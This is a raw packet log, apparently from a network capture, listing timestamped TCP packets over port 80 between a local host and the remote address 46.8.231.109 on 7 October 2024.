Oct 7, 2024 17:22:06.041357040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041368961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041377068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041388035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041398048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041399956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041408062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041419983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041424036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041431904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041440010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041443110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041450024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041459084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041460991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041471004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041481018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041486025 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041493893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041512966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041528940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041637897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041676998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.121558905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121666908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121676922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121678114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.121689081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121702909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121714115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121726990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121730089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.121756077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121767998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.121794939 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.121912003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121923923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121936083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121948004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121961117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121962070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.121972084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.121992111 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.121997118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122009039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122014999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122021914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122033119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122034073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122059107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122059107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122071028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122081041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122083902 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122092009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122103930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122111082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122136116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122149944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122437954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122457027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122467995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122486115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122497082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122515917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122549057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122560024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122570992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122584105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122594118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122596979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122623920 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122636080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122668028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122678995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122690916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122704029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122713089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122740030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122899055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122910976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122924089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122932911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122955084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122961998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122967958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122978926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122986078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122986078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.122991085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.122994900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123025894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123085976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123096943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123109102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123119116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123131037 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123131990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123142958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123148918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123153925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123166084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123172998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123178005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123204947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123219013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123261929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123272896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123282909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123295069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123306036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123311996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123317003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123328924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123338938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123354912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123378038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123416901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123429060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123439074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123452902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123464108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123469114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123476028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123487949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123492002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123500109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123508930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123512030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123539925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123563051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123672962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123683929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123697042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123708963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123714924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123720884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123733044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123733997 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123744011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123758078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123775005 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123815060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123821020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123832941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123862982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123883963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123895884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123907089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123919964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123925924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123934031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.123970032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.123997927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124011040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124022007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124033928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124038935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124046087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124057055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124062061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124068022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124095917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124116898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124116898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124128103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124140024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124151945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124160051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124164104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124174118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124186993 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124206066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124370098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124382019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124399900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124411106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124412060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124420881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124432087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124447107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124465942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124466896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124478102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124489069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124500036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124506950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124511003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124525070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124531031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124536037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124555111 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124568939 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124588013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124629974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124663115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124672890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124681950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124691963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124701023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124708891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124710083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124718904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.124736071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.124749899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.204771996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204788923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204850912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204863071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.204869032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204880953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204891920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204917908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.204932928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.204948902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204961061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204977989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.204988003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205010891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205051899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205080032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205091000 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205100060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205110073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205118895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205125093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205162048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205194950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205205917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205215931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205220938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205241919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205265999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205284119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205295086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205306053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205316067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205324888 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205327988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205349922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205370903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205390930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205403090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205414057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205424070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205430984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205436945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205449104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205456972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205482960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205507040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205562115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205605030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205667973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205710888 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205728054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205770016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205852032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205892086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205918074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205929041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205940008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.205949068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205981016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.205981016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206002951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206012964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206031084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206039906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206048965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206051111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206063986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206069946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206099033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206142902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206154108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206166029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206176043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206183910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206187963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206207037 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206252098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206278086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206288099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206300974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206310034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206319094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206322908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206335068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206358910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206413031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206414938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206428051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206439018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206453085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206459999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206463099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206475019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206480026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206516981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206553936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206563950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206576109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206585884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206590891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206598043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206609964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206619978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206621885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206634045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206651926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206681967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206707954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206726074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206736088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206742048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206748009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206760883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206768036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206772089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206783056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206801891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206813097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206851006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206861973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206872940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206891060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206928015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.206954002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206964970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206975937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206986904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.206995964 CEST	49704	80	192.168.2.5	46.8.231.109
